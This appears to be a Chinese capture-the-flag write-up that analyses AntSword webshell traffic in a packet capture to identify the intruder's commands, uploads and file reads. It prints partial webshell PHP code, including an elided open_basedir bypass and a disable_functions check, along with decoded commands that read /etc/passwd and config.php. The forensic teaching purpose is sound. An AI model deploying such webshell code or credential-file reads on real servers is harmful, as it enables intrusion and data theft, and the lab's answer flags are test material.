2、⿊客执⾏的第⼀个命令是什么
3、⿊客读取了哪个⽂件的内容,提交⽂件绝对路径
4、⿊客上传了什么⽂件到服务器,提交⽂件名
5、⿊客上传的⽂件内容是什么
6、⿊客下载了哪个⽂件,提交⽂件绝对路径
@ini_set("display_errors", "0");
@set_time_limit(0);
#关闭错误显示:防⽌报错暴露路径或敏感信息。
#取消脚本执⾏时间限制:确保⻓时间任务不中断
2、绕过 open_basedir 限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
...
}
#如果服务器启⽤了open_basedir(限制脚本能访问的⽬录),该代码尝试通过创建临时⽬录、修改路径等⽅式绕过限制。
#这是⼀种常⻅的 Webshell 技术,⽬的是让攻击者可以访问整个⽂件系统。
3、定义输出函数
function asenc($out){return $out;};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "2c"."3f5";
echo @asenc($output);
echo "20"."c49";
}
ob_start();
#启动输出缓冲区,收集所有输出内容。
#自定义输出格式,可能用于蚁剑客户端识别响应内容
$p = base64_decode(substr($_POST["ma569eedd00c3b"],2));
$s = base64_decode(substr($_POST["ucc3f8650c92ac"],2));
$envstr = @base64_decode(substr($_POST["e5d0dbe94954b3"],2));
从 POST 请求中提取加密参数:
ma569eedd00c3b → 命令前缀(如 /bin/sh -c)
ucc3f8650c92ac → 实际要执行的命令
e5d0dbe94954b3 → 环境变量设置(可选)
注意:这些字段名是随机生成的,目的是用来躲避关键字检测
$r = "{$p} {$c}";
#$p 是命令前缀,比如 /bin/sh -c
#$s 是 Base64 编码后的实际命令
#构造出完整的 shell 命令准备执行
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){$d=array();}
else{$d=array_map('trim',array_map('strtolower',$d));}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
#检查哪些函数未被禁用(如 system, exec, shell_exec 等)
#动态选择最合适的函数执行命令
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
#调用 runcmd() 函数执行构造好的命令
#返回命令执行结果(标准输出 + 错误输出)
function runshellshock($d, $c)
#如果服务器使用的是 Bash 并且支持 ShellShock 漏洞,会尝试利用它反弹 shell。
#这是一种比较高级的攻击技术,用于绕过 disable_functions。
elseif(substr($d,0,1)!="/" && @class_exists("COM")) { $w=new COM('WScript.shell'); ... }
#在 Windows 环境下,如果支持 COM 组件,尝试调用 WScript.shell 来执行命令
分析完了流量,我们来看一下题目,第一个问题要我们找到木马的连接密码是多少 在刚才的完整请求分析中,我们看到了post数据
POST /1.php HTTP/1.1
...
1=%40ini_set(...)%3B...%3B
&ma569eedd00c3b=38L2Jpbi9zaA%3D%3D
&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
&e5d0dbe94954b3=SR
1=... 是 WebShell 的主体代码。 ma569eedd00c3b 和 ucc3f8650c92ac 是加密后的命令参数。 e5d0dbe94954b3=SR 是环境变量相关参数。
关键点: 在蚁剑的通信协议中,WebShell 的“连接密码”是指你配置时填写的 “连接密码”字段值,也就是蚁剑在发送请求时使用的一个标识字段名。例如:
{
"pass":"1",
"encode":"base64"
}
在这个流量中,我们看到:
1=%40ini_set("display_errors", "0");@set_time_limit(0);...
也就是说,在 POST 请求体中,有一个字段名为 1,它的值是 WebShell 的核心代码。
ma569eedd00c3b=38L2Jpbi9zaA==
ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
对ma569eedd00c3b进行Base64解码后得到/bin/sh,这通常用于指定
要使用的shell环境
对ucc3f8650c92ac进行Base64解码后的结果为:
'Cvarwwwhtml';id;echo e124bc;pwd;echo 43523
但这个字符串看起来像是一个脚本或命令序列,其中包含了多个Linux
命令,'C:varwwwhtml';
这部分似乎是为了兼容 Windows路径格式而插入的,并不是实际执行
的命令,所以第一个执行的命令为id
第二个flag为:flag{id}
1、WebShell通常会接收来自攻击者的命令,并执行这些命令 2、如果攻击者试图读取某个文件的内容,他们可能会发送一个包含读取文件指令的POST请求。 筛选分析一下POST流量,
http.request.method == "POST"
(用于wiresharkl筛选post流量)
挨个查看分析一下,在第三个POST流量中看见了一些信息
mtY2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvZXRjL3Bhc3N3ZDtlY2hvIGUxMjRiYztwd2Q7ZWNoby
A0MzUyMw==
#解码后:'"/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523'
从解码后的命令可以看出,⿊客明确使⽤了
cat /etc/passwd
来读取Linux系统上的⽤户账户信息⽂件/etc/passwd。
响应体中也包含了/etc/passwd⽂件的内容,如下所示的部分输出:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
这进⼀步证实了⿊客确实读取了/etc/passwd⽂件的内容
因此第三个flag:flag{/etc/passwd}
第四个问题为⿊客上传了什么⽂件,⼀样是筛选post流量分析,在NO.422⽂件中找到
解码后看⻅⼀个base/64字符串
最后解码获得/var/www/html/flag.txt
因此第四个flag{flag.txt}
接着往下看,第五个问题需要我们找到⿊客上传⽂件的内容,我们刚才找到了⿊客上传的⽂件为flag.txt 并且在post请求中,有以下内容:
&ld807e7193493d=666C61677B77726974655F666C61677D0A
这⾥,&ld807e7193493d= 后⾯的部分即为该参数的具体值。
这个值是⼀个⼗六进制字符串,代表了要写⼊到⽬标⽂件(由t41ffbc5fb0c04指定)的数据。 通过解码得到
因此第五个flag为:flag{write_flag}
最后⼀个问题,⿊客下载了哪个⽂件,并且提交⽂件绝对路径 接着排查流量包,在NO.606中我们找到相关信息
接下来我们详细分析⼀下 ⾸先在 POST 请求中,有⼀个参数:
t41ffbc5fb0c04=2eL3Zhci93d3cvaHRtbC9jb25maWcucGhw
这个值是 Base64 编码的字符串,解码后我们得到:
/var/www/html/config.php
这表示⿊客正在尝试读取该⽂件的内容 并且通过响应包返回的内容,这是典型的 PHP 配置⽂件内容,表明⿊客成功读取了 config.php ⽂件的内容,并将其通过后⻔脚本返回
最后总结:
⿊客通过后⻔脚本 /1.php 成功读取了服务器上的配置⽂件 config.php
该⽂件的绝对路径为:/var/www/html/config.php
因此第六个flag为:flag{/var/www/html/config.php}
原文始发于微信公众号(鼎新安全):玄机靶场 第六章 流量特征分析-蚁剑流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论